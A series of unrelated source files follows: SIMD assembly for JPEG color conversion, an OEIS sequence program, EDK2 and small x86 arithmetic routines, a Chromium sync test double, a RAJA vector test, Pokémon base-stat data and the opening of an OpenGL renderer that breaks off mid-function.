[in_row_group_ctr(eax)] mov esi, JSAMPARRAY [edi+0*SIZEOF_JSAMPARRAY] mov ebx, JSAMPARRAY [edi+1*SIZEOF_JSAMPARRAY] mov edx, JSAMPARRAY [edi+2*SIZEOF_JSAMPARRAY] mov edi, JSAMPARRAY [output_buf(eax)] mov esi, JSAMPROW [esi+ecx*SIZEOF_JSAMPROW] ; inptr0 mov ebx, JSAMPROW [ebx+ecx*SIZEOF_JSAMPROW] ; inptr1 mov edx, JSAMPROW [edx+ecx*SIZEOF_JSAMPROW] ; inptr2 mov edi, JSAMPROW [edi] ; outptr pop ecx ; col alignx 16, 7 .columnloop: movpic eax, POINTER [gotptr] ; load GOT address (eax) movdqa xmm6, XMMWORD [ebx] ; xmm6=Cb(0123456789ABCDEF) movdqa xmm7, XMMWORD [edx] ; xmm7=Cr(0123456789ABCDEF) pxor xmm1, xmm1 ; xmm1=(all 0's) pcmpeqw xmm3, xmm3 psllw xmm3, 7 ; xmm3={0xFF80 0xFF80 0xFF80 0xFF80 ..} movdqa xmm4, xmm6 punpckhbw xmm6, xmm1 ; xmm6=Cb(89ABCDEF)=CbH punpcklbw xmm4, xmm1 ; xmm4=Cb(01234567)=CbL movdqa xmm0, xmm7 punpckhbw xmm7, xmm1 ; xmm7=Cr(89ABCDEF)=CrH punpcklbw xmm0, xmm1 ; xmm0=Cr(01234567)=CrL paddw xmm6, xmm3 paddw xmm4, xmm3 paddw xmm7, xmm3 paddw xmm0, xmm3 ; (Original) ; R = Y + 1.40200 * Cr ; G = Y - 0.34414 * Cb - 0.71414 * Cr ; B = Y + 1.77200 * Cb ; ; (This implementation) ; R = Y + 0.40200 * Cr + Cr ; G = Y - 0.34414 * Cb + 0.28586 * Cr - Cr ; B = Y - 0.22800 * Cb + Cb + Cb movdqa xmm5, xmm6 ; xmm5=CbH movdqa xmm2, xmm4 ; xmm2=CbL paddw xmm6, xmm6 ; xmm6=2*CbH paddw xmm4, xmm4 ; xmm4=2*CbL movdqa xmm1, xmm7 ; xmm1=CrH movdqa xmm3, xmm0 ; xmm3=CrL paddw xmm7, xmm7 ; xmm7=2*CrH paddw xmm0, xmm0 ; xmm0=2*CrL pmulhw xmm6, [GOTOFF(eax,PW_MF0228)] ; xmm6=(2*CbH * -FIX(0.22800)) pmulhw xmm4, [GOTOFF(eax,PW_MF0228)] ; xmm4=(2*CbL * -FIX(0.22800)) pmulhw xmm7, [GOTOFF(eax,PW_F0402)] ; xmm7=(2*CrH * FIX(0.40200)) pmulhw xmm0, [GOTOFF(eax,PW_F0402)] ; xmm0=(2*CrL * FIX(0.40200)) paddw xmm6, [GOTOFF(eax,PW_ONE)] paddw xmm4, [GOTOFF(eax,PW_ONE)] psraw xmm6, 1 ; xmm6=(CbH * -FIX(0.22800)) psraw xmm4, 1 ; xmm4=(CbL * -FIX(0.22800)) paddw xmm7, [GOTOFF(eax,PW_ONE)] paddw xmm0, [GOTOFF(eax,PW_ONE)] psraw xmm7, 1 ; xmm7=(CrH * FIX(0.40200)) psraw xmm0, 1 ; xmm0=(CrL * FIX(0.40200)) paddw xmm6, xmm5 paddw xmm4, xmm2 paddw xmm6, xmm5 ; xmm6=(CbH * FIX(1.77200))=(B-Y)H paddw xmm4, xmm2 ; xmm4=(CbL * FIX(1.77200))=(B-Y)L paddw xmm7, xmm1 ; xmm7=(CrH * FIX(1.40200))=(R-Y)H paddw xmm0, xmm3 ; xmm0=(CrL * FIX(1.40200))=(R-Y)L movdqa XMMWORD [wk(0)], xmm6 ; wk(0)=(B-Y)H movdqa XMMWORD [wk(1)], xmm7 ; wk(1)=(R-Y)H movdqa xmm6, xmm5 movdqa xmm7, xmm2 punpcklwd xmm5, xmm1 punpckhwd xmm6, xmm1 pmaddwd xmm5, [GOTOFF(eax,PW_MF0344_F0285)] pmaddwd xmm6, [GOTOFF(eax,PW_MF0344_F0285)] punpcklwd xmm2, xmm3 punpckhwd xmm7, xmm3 pmaddwd xmm2, [GOTOFF(eax,PW_MF0344_F0285)] pmaddwd xmm7, [GOTOFF(eax,PW_MF0344_F0285)] paddd xmm5, [GOTOFF(eax,PD_ONEHALF)] paddd xmm6, [GOTOFF(eax,PD_ONEHALF)] psrad xmm5, SCALEBITS psrad xmm6, SCALEBITS paddd xmm2, [GOTOFF(eax,PD_ONEHALF)] paddd xmm7, [GOTOFF(eax,PD_ONEHALF)] psrad xmm2, SCALEBITS psrad xmm7, SCALEBITS packssdw xmm5, xmm6 ; xmm5=CbH*-FIX(0.344)+CrH*FIX(0.285) packssdw xmm2, xmm7 ; xmm2=CbL*-FIX(0.344)+CrL*FIX(0.285) psubw xmm5, xmm1 ; xmm5=CbH*-FIX(0.344)+CrH*-FIX(0.714)=(G-Y)H psubw xmm2, xmm3 ; xmm2=CbL*-FIX(0.344)+CrL*-FIX(0.714)=(G-Y)L movdqa XMMWORD [wk(2)], xmm5 ; wk(2)=(G-Y)H mov al, 2 ; Yctr jmp short .Yloop_1st alignx 16, 7 .Yloop_2nd: movdqa xmm0, XMMWORD [wk(1)] ; xmm0=(R-Y)H movdqa xmm2, XMMWORD [wk(2)] ; xmm2=(G-Y)H movdqa xmm4, XMMWORD [wk(0)] ; xmm4=(B-Y)H alignx 16, 7 .Yloop_1st: movdqa xmm7, XMMWORD [esi] ; xmm7=Y(0123456789ABCDEF) pcmpeqw xmm6, xmm6 psrlw xmm6, BYTE_BIT ; xmm6={0xFF 0x00 0xFF 0x00 ..} pand xmm6, xmm7 ; xmm6=Y(02468ACE)=YE psrlw xmm7, BYTE_BIT ; xmm7=Y(13579BDF)=YO movdqa xmm1, xmm0 ; xmm1=xmm0=(R-Y)(L/H) movdqa xmm3, xmm2 ; xmm3=xmm2=(G-Y)(L/H) movdqa xmm5, xmm4 ; xmm5=xmm4=(B-Y)(L/H) paddw xmm0, xmm6 ; xmm0=((R-Y)+YE)=RE=R(02468ACE) paddw xmm1, xmm7 ; xmm1=((R-Y)+YO)=RO=R(13579BDF) packuswb xmm0, xmm0 ; xmm0=R(02468ACE********) packuswb xmm1, xmm1 ; xmm1=R(13579BDF********) paddw xmm2, xmm6 ; xmm2=((G-Y)+YE)=GE=G(02468ACE) paddw xmm3, xmm7 ; xmm3=((G-Y)+YO)=GO=G(13579BDF) packuswb xmm2, xmm2 ; xmm2=G(02468ACE********) packuswb xmm3, xmm3 ; xmm3=G(13579BDF********) paddw xmm4, xmm6 ; xmm4=((B-Y)+YE)=BE=B(02468ACE) paddw xmm5, xmm7 ; xmm5=((B-Y)+YO)=BO=B(13579BDF) packuswb xmm4, xmm4 ; xmm4=B(02468ACE********) packuswb xmm5, xmm5 ; xmm5=B(13579BDF********) %if RGB_PIXELSIZE == 3 ; --------------- ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(** ** ** ** ** ** ** ** **), xmmH=(** ** ** ** ** ** ** ** **) punpcklbw xmmA, xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE, xmmB ; xmmE=(20 01 22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F) punpcklbw xmmD, xmmF ; xmmD=(11 21 13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F) movdqa xmmG, xmmA movdqa xmmH, xmmA punpcklwd xmmA, xmmE ; xmmA=(00 10 20 01 02 12 22 03 04 14 24 05 06 16 26 07) punpckhwd xmmG, xmmE ; xmmG=(08 18 28 09 0A 1A 2A 0B 0C 1C 2C 0D 0E 1E 2E 0F) psrldq xmmH, 2 ; xmmH=(02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E -- --) psrldq xmmE, 2 ; xmmE=(22 03 24 05 26 07 28 09 2A 0B 2C 0D 2E 0F -- --) movdqa xmmC, xmmD movdqa xmmB, xmmD punpcklwd xmmD, xmmH ; xmmD=(11 21 02 12 13 23 04 14 15 25 06 16 17 27 08 18) punpckhwd xmmC, xmmH ; xmmC=(19 29 0A 1A 1B 2B 0C 1C 1D 2D 0E 1E 1F 2F -- --) psrldq xmmB, 2 ; xmmB=(13 23 15 25 17 27 19 29 1B 2B 1D 2D 1F 2F -- --) movdqa xmmF, xmmE punpcklwd xmmE, xmmB ; xmmE=(22 03 13 23 24 05 15 25 26 07 17 27 28 09 19 29) punpckhwd xmmF, xmmB ; xmmF=(2A 0B 1B 2B 2C 0D 1D 2D 2E 0F 1F 2F -- -- -- --) pshufd xmmH, xmmA, 0x4E ; xmmH=(04 14 24 05 06 16 26 07 00 10 20 01 02 12 22 03) movdqa xmmB, xmmE punpckldq xmmA, xmmD ; xmmA=(00 10 20 01 11 21 02 12 02 12 22 03 13 23 04 14) punpckldq xmmE, xmmH ; xmmE=(22 03 13 23 04 14 24 05 24 05 15 25 06 16 26 07) punpckhdq xmmD, xmmB ; xmmD=(15 25 06 16 26 07 17 27 17 27 08 18 28 09 19 29) pshufd xmmH, xmmG, 0x4E ; xmmH=(0C 1C 2C 0D 0E 1E 2E 0F 08 18 28 09 0A 1A 2A 0B) movdqa xmmB, xmmF punpckldq xmmG, xmmC ; xmmG=(08 18 28 09 19 29 0A 1A 0A 1A 2A 0B 1B 2B 0C 1C) punpckldq xmmF, xmmH ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 2C 0D 1D 2D 0E 1E 2E 0F) punpckhdq xmmC, xmmB ; xmmC=(1D 2D 0E 1E 2E 0F 1F 2F 1F 2F -- -- -- -- -- --) punpcklqdq xmmA, xmmE ; xmmA=(00 10 20 01 11 21 02 12 22 03 13 23 04 14 24 05) punpcklqdq xmmD, xmmG ; xmmD=(15 25 06 16 26 07 17 27 08 18 28 09 19 29 0A 1A) punpcklqdq xmmF, xmmC ; xmmF=(2A 0B 1B 2B 0C 1C 2C 0D 1D 2D 0E 1E 2E 0F 1F 2F) cmp ecx, byte SIZEOF_XMMWORD jb short .column_st32 test edi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [edi+2*SIZEOF_XMMWORD], xmmF jmp short .out0 .out1: ; --(unaligned)----------------- movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD movdqu XMMWORD [edi+2*SIZEOF_XMMWORD], xmmF .out0: add edi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr sub ecx, byte SIZEOF_XMMWORD jz near .endcolumn add esi, byte SIZEOF_XMMWORD ; inptr0 dec al ; Yctr jnz near .Yloop_2nd add ebx, byte SIZEOF_XMMWORD ; inptr1 add edx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop alignx 16, 7 .column_st32: lea ecx, [ecx+ecx*2] ; imul ecx, RGB_PIXELSIZE cmp ecx, byte 2*SIZEOF_XMMWORD jb short .column_st16 movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD add edi, byte 2*SIZEOF_XMMWORD ; outptr movdqa xmmA, xmmF sub ecx, byte 2*SIZEOF_XMMWORD jmp short .column_st15 .column_st16: cmp ecx, byte SIZEOF_XMMWORD jb short .column_st15 movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA add edi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA, xmmD sub ecx, byte SIZEOF_XMMWORD .column_st15: ; Store the lower 8 bytes of xmmA to the output when it has enough ; space. cmp ecx, byte SIZEOF_MMWORD jb short .column_st7 movq XMM_MMWORD [edi], xmmA add edi, byte SIZEOF_MMWORD sub ecx, byte SIZEOF_MMWORD psrldq xmmA, SIZEOF_MMWORD .column_st7: ; Store the lower 4 bytes of xmmA to the output when it has enough ; space. cmp ecx, byte SIZEOF_DWORD jb short .column_st3 movd XMM_DWORD [edi], xmmA add edi, byte SIZEOF_DWORD sub ecx, byte SIZEOF_DWORD psrldq xmmA, SIZEOF_DWORD .column_st3: ; Store the lower 2 bytes of eax to the output when it has enough ; space. movd eax, xmmA cmp ecx, byte SIZEOF_WORD jb short .column_st1 mov WORD [edi], ax add edi, byte SIZEOF_WORD sub ecx, byte SIZEOF_WORD shr eax, 16 .column_st1: ; Store the lower 1 byte of eax to the output when it has enough ; space. test ecx, ecx jz short .endcolumn mov BYTE [edi], al %else ; RGB_PIXELSIZE == 4 ; ----------- %ifdef RGBX_FILLER_0XFF pcmpeqb xmm6, xmm6 ; xmm6=XE=X(02468ACE********) pcmpeqb xmm7, xmm7 ; xmm7=XO=X(13579BDF********) %else pxor xmm6, xmm6 ; xmm6=XE=X(02468ACE********) pxor xmm7, xmm7 ; xmm7=XO=X(13579BDF********) %endif ; xmmA=(00 02 04 06 08 0A 0C 0E **), xmmB=(01 03 05 07 09 0B 0D 0F **) ; xmmC=(10 12 14 16 18 1A 1C 1E **), xmmD=(11 13 15 17 19 1B 1D 1F **) ; xmmE=(20 22 24 26 28 2A 2C 2E **), xmmF=(21 23 25 27 29 2B 2D 2F **) ; xmmG=(30 32 34 36 38 3A 3C 3E **), xmmH=(31 33 35 37 39 3B 3D 3F **) punpcklbw xmmA, xmmC ; xmmA=(00 10 02 12 04 14 06 16 08 18 0A 1A 0C 1C 0E 1E) punpcklbw xmmE, xmmG ; xmmE=(20 30 22 32 24 34 26 36 28 38 2A 3A 2C 3C 2E 3E) punpcklbw xmmB, xmmD ; xmmB=(01 11 03 13 05 15 07 17 09 19 0B 1B 0D 1D 0F 1F) punpcklbw xmmF, xmmH ; xmmF=(21 31 23 33 25 35 27 37 29 39 2B 3B 2D 3D 2F 3F) movdqa xmmC, xmmA punpcklwd xmmA, xmmE ; xmmA=(00 10 20 30 02 12 22 32 04 14 24 34 06 16 26 36) punpckhwd xmmC, xmmE ; xmmC=(08 18 28 38 0A 1A 2A 3A 0C 1C 2C 3C 0E 1E 2E 3E) movdqa xmmG, xmmB punpcklwd xmmB, xmmF ; xmmB=(01 11 21 31 03 13 23 33 05 15 25 35 07 17 27 37) punpckhwd xmmG, xmmF ; xmmG=(09 19 29 39 0B 1B 2B 3B 0D 1D 2D 3D 0F 1F 2F 3F) movdqa xmmD, xmmA punpckldq xmmA, xmmB ; xmmA=(00 10 20 30 01 11 21 31 02 12 22 32 03 13 23 33) punpckhdq xmmD, xmmB ; xmmD=(04 14 24 34 05 15 25 35 06 16 26 36 07 17 27 37) movdqa xmmH, xmmC punpckldq xmmC, xmmG ; xmmC=(08 18 28 38 09 19 29 39 0A 1A 2A 3A 0B 1B 2B 3B) punpckhdq xmmH, xmmG ; xmmH=(0C 1C 2C 3C 0D 1D 2D 3D 0E 1E 2E 3E 0F 1F 2F 3F) cmp ecx, byte SIZEOF_XMMWORD jb short .column_st32 test edi, SIZEOF_XMMWORD-1 jnz short .out1 ; --(aligned)------------------- movntdq XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movntdq XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD movntdq XMMWORD [edi+2*SIZEOF_XMMWORD], xmmC movntdq XMMWORD [edi+3*SIZEOF_XMMWORD], xmmH jmp short .out0 .out1: ; --(unaligned)----------------- movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD movdqu XMMWORD [edi+2*SIZEOF_XMMWORD], xmmC movdqu XMMWORD [edi+3*SIZEOF_XMMWORD], xmmH .out0: add edi, byte RGB_PIXELSIZE*SIZEOF_XMMWORD ; outptr sub ecx, byte SIZEOF_XMMWORD jz near .endcolumn add esi, byte SIZEOF_XMMWORD ; inptr0 dec al ; Yctr jnz near .Yloop_2nd add ebx, byte SIZEOF_XMMWORD ; inptr1 add edx, byte SIZEOF_XMMWORD ; inptr2 jmp near .columnloop alignx 16, 7 .column_st32: cmp ecx, byte SIZEOF_XMMWORD/2 jb short .column_st16 movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA movdqu XMMWORD [edi+1*SIZEOF_XMMWORD], xmmD add edi, byte 2*SIZEOF_XMMWORD ; outptr movdqa xmmA, xmmC movdqa xmmD, xmmH sub ecx, byte SIZEOF_XMMWORD/2 .column_st16: cmp ecx, byte SIZEOF_XMMWORD/4 jb short .column_st15 movdqu XMMWORD [edi+0*SIZEOF_XMMWORD], xmmA add edi, byte SIZEOF_XMMWORD ; outptr movdqa xmmA, xmmD sub ecx, byte SIZEOF_XMMWORD/4 .column_st15: ; Store two pixels (8 bytes) of xmmA to the output when it has enough ; space. cmp ecx, byte SIZEOF_XMMWORD/8 jb short .column_st7 movq XMM_MMWORD [edi], xmmA add edi, byte SIZEOF_XMMWORD/8*4 sub ecx, byte SIZEOF_XMMWORD/8 psrldq xmmA, SIZEOF_XMMWORD/8*4 .column_st7: ; Store one pixel (4 bytes) of xmmA to the output when it has enough ; space. test ecx, ecx jz short .endcolumn movd XMM_DWORD [edi], xmmA %endif ; RGB_PIXELSIZE ; --------------- .endcolumn: sfence ; flush the write buffer .return: pop edi pop esi ; pop edx ; need not be preserved ; pop ecx ; need not be preserved pop ebx mov esp, ebp ; esp <- aligned ebp pop esp ; esp <- original ebp pop ebp ret ; -------------------------------------------------------------------------- ; ; Upsample and color convert for the case of 2:1 horizontal and 2:1 vertical. ; ; GLOBAL(void) ; jsimd_h2v2_merged_upsample_sse2(JDIMENSION output_width, ; JSAMPIMAGE input_buf, ; JDIMENSION in_row_group_ctr, ; JSAMPARRAY output_buf); ; %define output_width(b) (b) + 8 ; JDIMENSION output_width %define input_buf(b) (b) + 12 ; JSAMPIMAGE input_buf %define in_row_group_ctr(b) (b) + 16 ; JDIMENSION in_row_group_ctr %define output_buf(b) (b) + 20 ; JSAMPARRAY output_buf align 32 GLOBAL_FUNCTION(jsimd_h2v2_merged_upsample_sse2) EXTN(jsimd_h2v2_merged_upsample_sse2): push ebp mov ebp, esp push ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved push esi push edi mov eax, POINTER [output_width(ebp)] mov edi, JSAMPIMAGE [input_buf(ebp)] mov ecx, JDIMENSION [in_row_group_ctr(ebp)] mov esi, JSAMPARRAY [edi+0*SIZEOF_JSAMPARRAY] mov ebx, JSAMPARRAY [edi+1*SIZEOF_JSAMPARRAY] mov edx, JSAMPARRAY [edi+2*SIZEOF_JSAMPARRAY] mov edi, JSAMPARRAY [output_buf(ebp)] lea esi, [esi+ecx*SIZEOF_JSAMPROW] push edx ; inptr2 push ebx ; inptr1 push esi ; inptr00 mov ebx, esp push edi ; output_buf (outptr0) push ecx ; in_row_group_ctr push ebx ; input_buf push eax ; output_width call near EXTN(jsimd_h2v1_merged_upsample_sse2) add esi, byte SIZEOF_JSAMPROW ; inptr01 add edi, byte SIZEOF_JSAMPROW ; outptr1 mov POINTER [ebx+0*SIZEOF_POINTER], esi mov POINTER [ebx-1*SIZEOF_POINTER], edi call near EXTN(jsimd_h2v1_merged_upsample_sse2) add esp, byte 7*SIZEOF_DWORD pop edi pop esi ; pop edx ; need not be preserved ; pop ecx ; need not be preserved pop ebx pop ebp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 32
; A110013: Squares of the form 4p + 5, where p is a prime. ; 25,49,81,121,169,289,361,441,529,729,961,1089,1521,1681,1849,2401,2809,3249,3721,3969,5041,5929,6241,6889,7921,8281,8649,9409,10201,11449,11881,12321,12769,14161,14641,16641,17161,17689,18769,19881,23409,27889,29241,29929,32041,34969,35721,37249,40401,41209,42849,52441,53361,58081,63001,64009,68121,69169,72361,76729,78961,80089,83521,84681,88209,89401,94249,95481,96721,100489,101761,103041,106929,108241,114921,117649,121801,124609,130321,131769,136161,139129,142129,146689,149769,152881,154449 seq $0,88502 ; Numbers n such that (n^2 - 5)/4 is prime. pow $0,2
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; DivU64x32.nasm ; ; Abstract: ; ; Calculate the quotient of a 64-bit integer by a 32-bit integer ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINT64 ; EFIAPI ; InternalMathDivU64x32 ( ; IN UINT64 Dividend, ; IN UINT32 Divisor ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalMathDivU64x32) ASM_PFX(InternalMathDivU64x32): mov eax, [esp + 8] mov ecx, [esp + 12] xor edx, edx div ecx push eax ; save quotient on stack mov eax, [esp + 8] div ecx pop edx ; restore high-order dword of the quotient ret
section .text global cyfry cyfry: ;licznik mov rbx, 0 ;dzielenie mov rdx, 0 mov rax, rdi mov rcx, 10 _petla: div rcx inc rbx cmp rax, 1 jge _petla mov rax, rbx ret
// Copyright 2015 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/sync/driver/fake_sync_client.h" #include "base/bind.h" #include "base/bind_helpers.h" #include "components/sync/base/extensions_activity.h" #include "components/sync/base/sync_prefs.h" #include "components/sync/driver/fake_sync_service.h" #include "components/sync/model/model_type_sync_bridge.h" namespace syncer { namespace { void DummyRegisterPlatformTypesCallback(SyncService* sync_service, ModelTypeSet, ModelTypeSet) {} } // namespace FakeSyncClient::FakeSyncClient() : bridge_(nullptr), factory_(nullptr), sync_service_(std::make_unique<FakeSyncService>()) { // Register sync preferences and set them to "Sync everything" state. SyncPrefs::RegisterProfilePrefs(pref_service_.registry()); SyncPrefs sync_prefs(GetPrefService()); sync_prefs.SetFirstSetupComplete(); sync_prefs.SetKeepEverythingSynced(true); } FakeSyncClient::FakeSyncClient(SyncApiComponentFactory* factory) : factory_(factory), sync_service_(std::make_unique<FakeSyncService>()) { SyncPrefs::RegisterProfilePrefs(pref_service_.registry()); } FakeSyncClient::~FakeSyncClient() {} void FakeSyncClient::Initialize() {} SyncService* FakeSyncClient::GetSyncService() { return sync_service_.get(); } PrefService* FakeSyncClient::GetPrefService() { return &pref_service_; } base::FilePath FakeSyncClient::GetLocalSyncBackendFolder() { return base::FilePath(); } bookmarks::BookmarkModel* FakeSyncClient::GetBookmarkModel() { return nullptr; } favicon::FaviconService* FakeSyncClient::GetFaviconService() { return nullptr; } history::HistoryService* FakeSyncClient::GetHistoryService() { return nullptr; } bool FakeSyncClient::HasPasswordStore() { return false; } base::Closure FakeSyncClient::GetPasswordStateChangedCallback() { return base::DoNothing(); } SyncApiComponentFactory::RegisterDataTypesMethod FakeSyncClient::GetRegisterPlatformTypesCallback() { return base::Bind(&DummyRegisterPlatformTypesCallback); } autofill::PersonalDataManager* FakeSyncClient::GetPersonalDataManager() { return nullptr; } BookmarkUndoService* FakeSyncClient::GetBookmarkUndoServiceIfExists() { return nullptr; } invalidation::InvalidationService* FakeSyncClient::GetInvalidationService() { return nullptr; } scoped_refptr<ExtensionsActivity> FakeSyncClient::GetExtensionsActivity() { return scoped_refptr<ExtensionsActivity>(); } sync_sessions::SyncSessionsClient* FakeSyncClient::GetSyncSessionsClient() { return nullptr; } base::WeakPtr<SyncableService> FakeSyncClient::GetSyncableServiceForType( ModelType type) { return base::WeakPtr<SyncableService>(); } base::WeakPtr<ModelTypeControllerDelegate> FakeSyncClient::GetControllerDelegateForModelType(ModelType type) { return bridge_->change_processor()->GetControllerDelegateOnUIThread(); } scoped_refptr<ModelSafeWorker> FakeSyncClient::CreateModelWorkerForGroup( ModelSafeGroup group) { return scoped_refptr<ModelSafeWorker>(); } SyncApiComponentFactory* FakeSyncClient::GetSyncApiComponentFactory() { return factory_; } void FakeSyncClient::SetModelTypeSyncBridge(ModelTypeSyncBridge* bridge) { bridge_ = bridge; } } // namespace syncer
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// // Copyright (c) 2016-22, Lawrence Livermore National Security, LLC // and RAJA project contributors. See the RAJA/LICENSE file for details. // // SPDX-License-Identifier: (BSD-3-Clause) //~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~// #ifndef __TEST_TESNOR_VECTOR_FmaFms_HPP__ #define __TEST_TESNOR_VECTOR_FmaFms_HPP__ #include<RAJA/RAJA.hpp> template <typename VECTOR_TYPE> void FmaFmsImpl() { using vector_t = VECTOR_TYPE; using element_t = typename vector_t::element_type; element_t A[vector_t::s_num_elem]; element_t B[vector_t::s_num_elem]; element_t C[vector_t::s_num_elem]; for(camp::idx_t i = 0;i < vector_t::s_num_elem;++ i){ A[i] = (element_t)i; B[i] = (element_t)i*2; C[i] = (element_t)i*3; } // For Fixed vectors, only try with fixed length // For Stream vectors, try all lengths for(camp::idx_t N = 1; N <= vector_t::s_num_elem; ++ N){ // load arrays as vectors vector_t vec_A; vec_A.load_packed_n(&A[0], N); vector_t vec_B; vec_B.load_packed_n(&B[0], N); vector_t vec_C; vec_C.load_packed_n(&C[0], N); // check FMA (A*B+C) vector_t fma = vec_A.multiply_add(vec_B, vec_C); for(camp::idx_t i = 0;i < N;++ i){ ASSERT_SCALAR_EQ(fma.get(i), A[i]*B[i]+C[i]); } // check FMS (A*B-C) vector_t fms = vec_A.multiply_subtract(vec_B, vec_C); for(camp::idx_t i = 0;i < N;++ i){ ASSERT_SCALAR_EQ(fms.get(i), A[i]*B[i]-C[i]); } } } TYPED_TEST_P(TestTensorVector, FmaFms) { FmaFmsImpl<TypeParam>(); } #endif
db PIDGEY ; 016 db 40, 45, 40, 56, 35, 35 ; hp atk def spd sat sdf db NORMAL, FLYING ; type db 255 ; catch rate db 55 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/pidgey/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_SLOW ; growth rate dn EGG_FLYING, EGG_FLYING ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SNORE, PROTECT, ENDURE, FRUSTRATION, RETURN, MUD_SLAP, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, DETECT, REST, ATTRACT, THIEF, STEEL_WING, FLY ; end
// // Created by wei on 3/18/18. // #include "core/render/Renderer.h" #include "common/logging.h" #include "common/Constants.h" #include "common/ConfigParser.h" surfelwarp::Renderer::Renderer(int image_rows, int image_cols) : m_image_width(image_cols), m_image_height(image_rows), m_fusion_map_width(image_cols * Constants::kFusionMapScale), m_fusion_map_height(image_rows * Constants::kFusionMapScale) { if(!glfwInit()) { LOG(FATAL) << "The graphic pipeline is not correctly initialized"; } //Assign the depth and height const auto& config = ConfigParser::Instance(); m_renderer_intrinsic = config.rgb_intrinsic_clip(); m_width_height_maxdepth = make_float4(image_cols, image_rows, config.max_rendering_depth(), 0.0f); //A series of sub-init functions initGLFW(); initClearValues(); initVertexBufferObjects(); //The vertex buffer objects initMapRenderVAO(); //The vao, must after vbos initFrameRenderBuffers(); initShaders(); } surfelwarp::Renderer::~Renderer() { //A series of sub-free functions freeVertexBufferObjects(); freeFrameRenderBuffers(); } /* GLFW window related functions */ void surfelwarp::Renderer::initGLFW() { //The primary monitor mGLFWmonitor = glfwGetPrimaryMonitor(); //The opengl context glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 4); glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 5); glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); //Defualt framebuffer properties glfwWindowHint(GLFW_VISIBLE, GL_FALSE); glfwWindowHint(GLFW_SAMPLES, 1); glfwWindowHint(GLFW_STEREO, GL_FALSE); glfwWindowHint(GLFW_DOUBLEBUFFER, GL_TRUE); //Switch to second montior int monitor_count = 0; GLFWmonitor** monitors = glfwGetMonitors(&monitor_count); if (monitor_count > 1) { mGLFWmonitor = monitors[1]; } //Setup of the window mGLFWwindow = glfwCreateWindow(1920, 720, "SurfelWarp", NULL, NULL); if (mGLFWwindow == NULL) { LOG(FATAL) << "The GLFW window is not correctly created"; } //Make newly created context current glfwMakeContextCurrent(mGLFWwindow); //Init glad if (!gladLoadGL()) { LOG(FATAL) << "Glad is not correctly initialized"; } //Enable depth test, disable face culling glEnable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glEnable(GL_PROGRAM_POINT_SIZE); glEnable(GL_POINT_SPRITE); } /* Initialize the value to clear the rendered images */ void surfelwarp::Renderer::initClearValues(){ m_clear_values.initialize(); } /* The method to initialize frame/render buffer object */ void surfelwarp::Renderer::initFrameRenderBuffers() { m_fusion_map_buffers.initialize(m_fusion_map_width, m_fusion_map_height); m_solver_map_buffers.initialize(m_image_width, m_image_height); m_visualization_draw_buffers.initialize(m_image_width, m_image_height); } void surfelwarp::Renderer::freeFrameRenderBuffers() { m_fusion_map_buffers.release(); m_solver_map_buffers.release(); m_visualization_draw_buffers.release(); } /* The access of fusion maps */ void surfelwarp::Renderer::MapFusionMapsToCuda(FusionMaps & maps, cudaStream_t stream) { 